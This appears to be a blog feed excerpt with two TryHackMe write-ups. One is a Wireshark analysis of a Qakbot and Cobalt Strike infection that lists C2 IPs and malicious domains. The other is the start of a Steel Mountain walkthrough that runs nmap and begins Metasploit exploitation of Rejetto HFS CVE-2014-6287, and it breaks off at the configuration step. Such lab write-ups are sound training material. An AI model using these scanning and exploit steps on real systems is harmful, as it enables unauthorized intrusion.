&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Welcome to my writeup for the &lt;strong&gt;Carnage&lt;/strong&gt; room on TryHackMe. This is a fantastic Medium-difficulty challenge that puts you in the shoes of a SOC analyst. We are given a PCAP file from a confirmed incident where a user, Eric, clicked a malicious link.&lt;/p&gt;
&lt;p&gt;My goal was to reconstruct the entire attack chain—from the initial access via phishing to the Command &amp;amp; Control (C2) traffic and final objectives. This room is a great exercise in hunting for &lt;strong&gt;Cobalt Strike&lt;/strong&gt; beacons and &lt;strong&gt;Qakbot&lt;/strong&gt; malware. Let&apos;s dive in!&lt;/p&gt;
&lt;h1&gt;Initial Assessment&lt;/h1&gt;
&lt;h2&gt;Traffic Analysis&lt;/h2&gt;
&lt;p&gt;I started by opening &lt;code&gt;carnage.pcap&lt;/code&gt; in Wireshark(you can find it on Desktop in a folder named Analysis).
My first step in any packet analysis is to look at the &lt;strong&gt;Protocol Hierarchy&lt;/strong&gt; and &lt;strong&gt;Conversations&lt;/strong&gt; to get a high-level overview, but for the specific questions, I jumped straight into filtering.
&lt;img src=&quot;./Images/1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Phishing &amp;amp; Initial Access&lt;/h3&gt;
&lt;p&gt;To find the start of the attack, I filtered for HTTP traffic to see what the user was browsing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
To see the answer in the right format you should go to &lt;strong&gt;View&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Time Display Format&lt;/strong&gt; -&amp;gt; &lt;strong&gt;UTC Date and Time of Day&lt;/strong&gt; and look for the time of the first packet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What was the date and time for the first HTTP connection to the malicious IP? (answer format: yyyy-mm-dd hh:mm:ss)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;2021-09-24 16:44:38&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looking closely at this first stream, I noticed the user downloaded a zip file named documents.zip&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the name of the zip file that was downloaded?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;documents.zip&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip
Phishing emails often deliver zip files containing malicious Office documents to bypass email filters.
:::&lt;/p&gt;
&lt;p&gt;In the same packet where we found documents.zip, we examine the Host header by looking at the Hypertext Transfer Protocol section.
&lt;img src=&quot;./Images/4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What was the domain hosting the malicious zip file?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;attirenepal.com&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;So After right clicking on the same packet then &lt;strong&gt;Follow&lt;/strong&gt; -&amp;gt; &lt;strong&gt;HTTP Stream&lt;/strong&gt; you will find some usefull informations.
&lt;img src=&quot;./Images/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By extracting the zip file (or just looking at the HTTP response headers), I found it contained a file named chart-1530076946.xls. This confirmed my suspicion: an Excel file likely containing malicious macros.
&lt;img src=&quot;./Images/6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer4&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Without downloading the file, what is the name of the file in the zip file?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;chart-1530076591.xls&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;By looking in the exact same packet we can find that the name of the Webserver is found in &lt;strong&gt;server&lt;/strong&gt; within the http header.
&lt;img src=&quot;./Images/7.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 5&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the name of the webserver of the malicious IP from which the zip file was downloaded?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;LiteSpeed&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;To find the version of LiteSpeed webserver we have to look in &lt;strong&gt;x-powered-by&lt;/strong&gt; within the same http header we found the previous answer.
&lt;img src=&quot;./Images/8.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 6&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the version of the webserver from the previous question?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;PHP/7.2.34&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the next question, the room provides a hint: check HTTPS traffic. Narrow down the timeframe from 16:45:11 to 16:45:30.
So I have filtered out the packets for checking just the https traffic , by using :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tls.handshake.type == 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the specified time I have found 5 packets , when inspecting its information we can see 3 suspicious domains .&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/10.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The first one : &lt;code&gt;finejewels.com.au&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/11.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The second one : &lt;code&gt;thietbiagt.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/12.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The third one : &lt;code&gt;new.americold.com&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 7&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Malicious files were downloaded to the victim host from multiple domains. What were the three domains involved with this activity?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;finejewels.com.au, thietbiagt.com, new.americold.com&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;To find the Certificate Authority (CA) related with the first domain which is &lt;code&gt;finejewels.com.au&lt;/code&gt;
We can inspect the packet of this domain by following http stream.
&lt;img src=&quot;./Images/13.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 8&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Which certificate authority issued the SSL certificate to the first domain from the previous question?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;GoDaddy&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the main menu bar click &lt;strong&gt;Statistics&lt;/strong&gt;, then &lt;strong&gt;Conversations&lt;/strong&gt;. And Ordered results by column &lt;strong&gt;Packets&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/14.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found two IPs communicating over HTTPS that looked suspicious. Checking them against the &lt;strong&gt;VirusTotal Community&lt;/strong&gt; tab confirmed they were Cobalt Strike C2s.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First IP : 185.125.204.174&lt;/strong&gt;
&lt;img src=&quot;./Images/15.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Second IP : 185.106.96.158&lt;/strong&gt;
&lt;img src=&quot;./Images/16.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 9&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What are the two IP addresses of the Cobalt Strike servers? Use VirusTotal (the Community tab) to confirm if IPs are identified as Cobalt Strike C2 servers. (answer format: enter the IP addresses in sequential order)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;185.106.96.158, 185.125.204.174&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;I inspected the &lt;strong&gt;Client Hello&lt;/strong&gt; packet for the first IP (&lt;code&gt;185.106.96.158&lt;/code&gt;). The &quot;Server Name&quot; extension (SNI) was set to look like a legitimate service to blend in.
You can do this by : Using filter &lt;code&gt;ip.addr == 185.106.96.158&lt;/code&gt;. Searching for &lt;code&gt;GET&lt;/code&gt;. And following its &lt;code&gt;HTTP Stream&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can find the Host for the first Cobalt Strike IP also in VirusTotal in Communauty .&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/17.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 10&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the Host header for the first Cobalt Strike IP address from the previous question?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;ocsp.verisign.com&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;For the next question It was provided with a hint: &lt;em&gt;Filter out for dns queries.&lt;/em&gt;
SO we can apply filter: &lt;code&gt;dns.a == 185.106.96.158&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/18.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 11&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the domain name for the first IP address of the Cobalt Strike server? You may use VirusTotal to confirm if it&apos;s the Cobalt Strike server (check the Community tab).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;survmeter.live&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;For the next question we could use &lt;em&gt;VirusTotal&lt;/em&gt; to find its answer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/19.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 12&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the domain name of the second Cobalt Strike server IP?  You may use VirusTotal to confirm if it&apos;s the Cobalt Strike server (check the Community tab).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;securitybusinpuff.com&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;For the next question It was provided with a hint: &lt;em&gt;Filter POST HTTP traffic.&lt;/em&gt;
So we have to apply filter: &lt;code&gt;http.request.method = “POST”&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This was a new idea to me. After the Cobalt Strike beacon, the traffic switched to a new IP (&lt;code&gt;208.91.128.6&lt;/code&gt;) and became much &quot;noisier&quot; with unencrypted POST requests. I filtered for &lt;code&gt;http.request.method == &quot;POST&quot;&lt;/code&gt; and saw the domain in the Host header immediately.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/20.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 13&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the domain name of the post-infection traffic?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;maldivehost.net&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looking at the same packet captured in the previous question. but looking at the URI in the screenshot above, there is a repeating string: &lt;code&gt;/zLIisQRWZI9/...&lt;/code&gt;. This is the Campaign ID.
So it&apos;s clearly the first eleven characters that the victim host sends out to the malicious domain involved in the post-infection traffic.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/21.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 14&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What are the first eleven characters that the victim host sends out to the malicious domain involved in the post-infection traffic?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;zLIisQRWZI9&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the same packet with the same filter , I looked at length filed we can see the length of the first packet.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/22.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 15&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What was the length for the first packet sent out to the C2 server?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;281&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;I initially tried looking through the packet as normal, but decided to use the &lt;strong&gt;Follow HTTP Stream&lt;/strong&gt; feature. This showed the full server response clearly.
The presence of &lt;code&gt;cPanel&lt;/code&gt; suggests a compromised shared hosting server!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/23.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 16&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What was the Server header for the malicious domain from the previous question?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Apache/2.4.49 (cPanel) OpenSSL/1.1.1l mod_bwlimited/1.4&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;Our victim´s machine is Eric&apos;s machine with ip : &lt;code&gt;10.9.23.102&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once again, momentarily stumped. I filtered for &lt;code&gt;dns&lt;/code&gt; but there were too many packets. I realized malware often uses &quot;ipify&quot; to check its public IP. I refined my filter to &lt;code&gt;dns.qry.name contains &quot;ipify&quot;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can also filter by &lt;code&gt;api&lt;/code&gt; instead of &lt;code&gt;ipify&lt;/code&gt; you should find the answer as well.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns.qry.name contains &quot;api&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/24.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 17&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The malware used an API to check for the IP address of the victim’s machine. What was the date and time when the DNS query for the IP check domain occurred? (answer format: yyyy-mm-dd hh:mm:ss UTC)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;2021-09-24 17:00:04&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;Based on that we can see the info filed related to this packet and we can find the answer of the next question :&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 18&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;What was the domain in the DNS query from the previous question?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;api.ipify.org&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;For the next question the first thing that came to mind was &lt;code&gt;SMTP&lt;/code&gt;, so I filtered down to it. I looked for the first &lt;code&gt;MAIL FROM&lt;/code&gt; command in the info column.
And i found the answer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/25.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 19&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Looks like there was some malicious spam (malspam) activity going on. What was the first MAIL FROM address observed in the traffic?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;farshin@mailfa.com&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;Oh a nice final simple question to finish. All I had to do was check the packet count at the bottom of the window while the &lt;code&gt;smtp&lt;/code&gt; filter was active.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/26.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 20&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;How many packets were observed for the SMTP traffic?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;1439&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;And here endeth my writeup. I have thoroughly enjoyed this challenge room — but I have also benefitted from writing this article alongside the process. I feel increasingly confident with using Wireshark, though I am not naïve — there’s a lot more to learn!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/27.png&quot; alt=&quot;Badge&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I hope to write more of these for challenge rooms to aid my learning process. If you are in a similar position to me and beginning your cyber journey, I recommend you do so too.&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Steel Mountain Walkthrough</title><link>https://0xm3dd.github.io/posts/tryhackme/steel-mountain/steel-mountain/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/steel-mountain/steel-mountain/</guid><description>A complete guide to the Steel Mountain room. Enumerating a Windows machine, gaining access via Metasploit, and performing manual privilege escalation.</description><pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link : https://tryhackme.com/room/steelmountain&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Welcome to my writeup for the &lt;strong&gt;Steel Mountain&lt;/strong&gt; room on TryHackMe. This room is a &quot;Mr. Robot&quot; themed Windows challenge where we will enumerate the machine, gain initial access using Metasploit, and then use PowerShell to enumerate the system for privilege escalation vectors.&lt;/p&gt;
&lt;p&gt;Let&apos;s dive in!&lt;/p&gt;
&lt;h1&gt;Task 1 : Introduction&lt;/h1&gt;
&lt;p&gt;After deploying the machine, I accessed the web server running on port 80 to look for clues.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Accessing the web server
http://10.66.180.12/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The homepage displayed a picture of the &quot;Employee of the Month&quot;. following the hint, I performed a Reverse Image Search on the photo.
&lt;img src=&quot;./Images/1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Google Images identified the person as &lt;em&gt;Bill Harper&lt;/em&gt; (a character from the TV show Mr. Robot).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Who is the employee of the month?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Bill Harper&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Task 2 : Initial Access&lt;/h1&gt;
&lt;h2&gt;Nmap Scan&lt;/h2&gt;
&lt;p&gt;I started by deploying the machine and running a standard Nmap scan to identify open ports.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -T5 -sC 10.66.180.12 -Pn -o nmap_scan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My scan returned a wealth of information. We are dealing with a Windows Server (likely 2008 R2 or 2012 based on the SMB version), and there are several interesting attack vectors exposed.&lt;/p&gt;
&lt;p&gt;Here is the relevant output from my scan:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat nmap_scan
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 8.5
|_http-title: Site doesn&apos;t have a title (text/html).
|_http-server-header: Microsoft-IIS/8.5
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-01-24T18:50:25+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=steelmountain
| Not valid before: 2026-01-23T18:43:46
|_Not valid after:  2026-07-25T18:43:46
| rdp-ntlm-info:
|   Target_Name: STEELMOUNTAIN
|   NetBIOS_Domain_Name: STEELMOUNTAIN
|   NetBIOS_Computer_Name: STEELMOUNTAIN
|   DNS_Domain_Name: steelmountain
|   DNS_Computer_Name: steelmountain
|   Product_Version: 6.3.9600
|_  System_Time: 2026-01-24T18:50:19+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp  open  http          HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49156/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 02:bd:91:50:6d:e5 (unknown)
| smb2-security-mode:
|   3.0.2:
|_    Message signing enabled but not required
|

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Analysis of Open Ports&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Web Servers (80 &amp;amp; 8080): The machine is running two web servers.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Port 80: A standard Microsoft IIS 8.5 server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Port 8080: This stands out immediately. It is running HttpFileServer (HFS) 2.3. This is non-standard software and often a goldmine for vulnerabilities.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Remote Access (3389 &amp;amp; 5985):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Port 3389 (RDP): Remote Desktop is open. If we get credentials, we can log in via GUI.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Port 5985 (WinRM): This is the Windows Remote Management port. This is crucial for PowerShell remoting and often indicates we can execute commands remotely if we find valid credentials.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;SMB (139 &amp;amp; 445): Standard Windows file sharing. We might be able to enumerate shares or users here later.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Scan the machine with nmap. What is the other port running a web server on?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;8080&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Web Server Enumeration (Port 8080)&lt;/h3&gt;
&lt;p&gt;Nmap identified port 8080 as &lt;code&gt;HttpFileServer 2.3&lt;/code&gt;. To get more details, I visited the service in my browser.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The page loaded a file sharing interface. Looking at the page footer (or searching online for &quot;HFS 2.3&quot;), I found a link, When I accessed it I identified the full software name as Rejetto HTTP File Server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Take a look at the other web server. What file server is running?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Rejetto HTTP File Server&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Vulnerability Research&lt;/h3&gt;
&lt;p&gt;With the software version identified as &lt;strong&gt;Rejetto HTTP File Server 2.3&lt;/strong&gt; and the hint that suggest using &lt;em&gt;https://www.exploit-db.com/&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I navigated to &lt;strong&gt;Exploit-DB&lt;/strong&gt; to check for known vulnerabilities.&lt;/p&gt;
&lt;p&gt;I searched for &quot;Rejetto HTTP File Server&quot; and found several results. One specific entry stood out: &lt;strong&gt;Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/4.png&quot; alt=&quot;Exploit-DB Search Results&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clicking into the exploit details revealed the CVE number associated with this high-severity Remote Code Execution (RCE) vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 4&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the CVE number to exploit this file server?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;2014-6287&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Metasploit Exploitation&lt;/h2&gt;
&lt;p&gt;With the CVE identified (&lt;code&gt;CVE-2014-6287&lt;/code&gt;), I launched Metasploit to attempt a remote code execution attack.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfconsole
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, I searched for the vulnerability module and I selected the  &lt;code&gt;exploit/windows/http/rejetto_hfs_exec&lt;/code&gt; module.
you can use it also by just typing its number identified by &lt;code&gt;#&lt;/code&gt; ( &lt;strong&gt;msf&amp;gt; use 0&lt;/strong&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf&amp;gt; search 2014-6287
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Configuration&lt;/h3&gt;
&lt;p&gt;I needed to set specific options for the exploit to work:
